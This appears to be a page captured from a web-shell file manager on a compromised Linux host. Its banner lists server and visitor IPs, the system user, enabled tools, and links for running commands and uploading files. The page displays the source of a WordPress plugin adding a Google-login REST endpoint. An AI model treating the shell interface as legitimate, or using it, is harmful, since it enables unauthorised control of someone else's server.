|
Server IP : 72.167.149.90 / Your IP : 216.73.216.228 Web Server : Apache System : Linux server.zoomride.app 4.18.0-553.158.1.el8_10.x86_64 #1 SMP Wed Aug 26 03:18:33 EDT 2026 x86_64 User : zoomride2022 ( 1001) PHP Version : 8.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0700) : /home/zoomride2022/.trash/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
/**
* Plugin Name: WPJobster Google Login (Mobile)
* Description: Google login endpoint for Capacitor mobile app
* Version: 1.0
*/
if (!defined('ABSPATH')) exit;
add_action('rest_api_init', function () {
register_rest_route('wpjobster/v1', '/google-login', [
'methods' => 'POST',
'callback' => 'wpjobster_google_login',
'permission_callback' => '__return_true',
]);
});
function wpjobster_google_login(WP_REST_Request $request) {
$id_token = $request->get_param('token');
if (!$id_token) {
return new WP_Error('no_token', 'Missing Google ID token', ['status' => 400]);
}
// MUST be your WEB CLIENT ID
$google_client_id = '902331388638-5pcgkgv9cobhtha31h18h4l4attoolv6.apps.googleusercontent.com';
$response = wp_remote_get(
'https://oauth2.googleapis.com/tokeninfo?id_token=' . $id_token
);
if (is_wp_error($response)) {
return new WP_Error('google_error', 'Google verification failed', ['status' => 401]);
}
$data = json_decode(wp_remote_retrieve_body($response), true);
if (
empty($data['email']) ||
$data['aud'] !== $google_client_id ||
empty($data['email_verified'])
) {
return new WP_Error('invalid_token', 'Invalid Google token', ['status' => 401]);
}
$email = sanitize_email($data['email']);
$name = sanitize_text_field($data['name'] ?? '');
$user = get_user_by('email', $email);
if (!$user) {
$username = sanitize_user(strtolower(str_replace(' ', '', $name)));
if (username_exists($username)) {
$username .= rand(1000, 9999);
}
$user_id = wp_create_user(
$username,
wp_generate_password(32),
$email
);
if (is_wp_error($user_id)) {
return new WP_Error('user_create_failed', 'Could not create user', ['status' => 500]);
}
wp_update_user([
'ID' => $user_id,
'display_name' => $name,
]);
$user = get_user_by('id', $user_id);
}
// Generate JWT using Simple JWT Authentication
$jwt = apply_filters('jwt_auth_token_before_dispatch', [
'token' => jwt_auth_generate_token($user),
], $user);
return [
'token' => $jwt['token'],
'user' => [
'id' => $user->ID,
'email' => $user->user_email,
'name' => $user->display_name,
],
];
}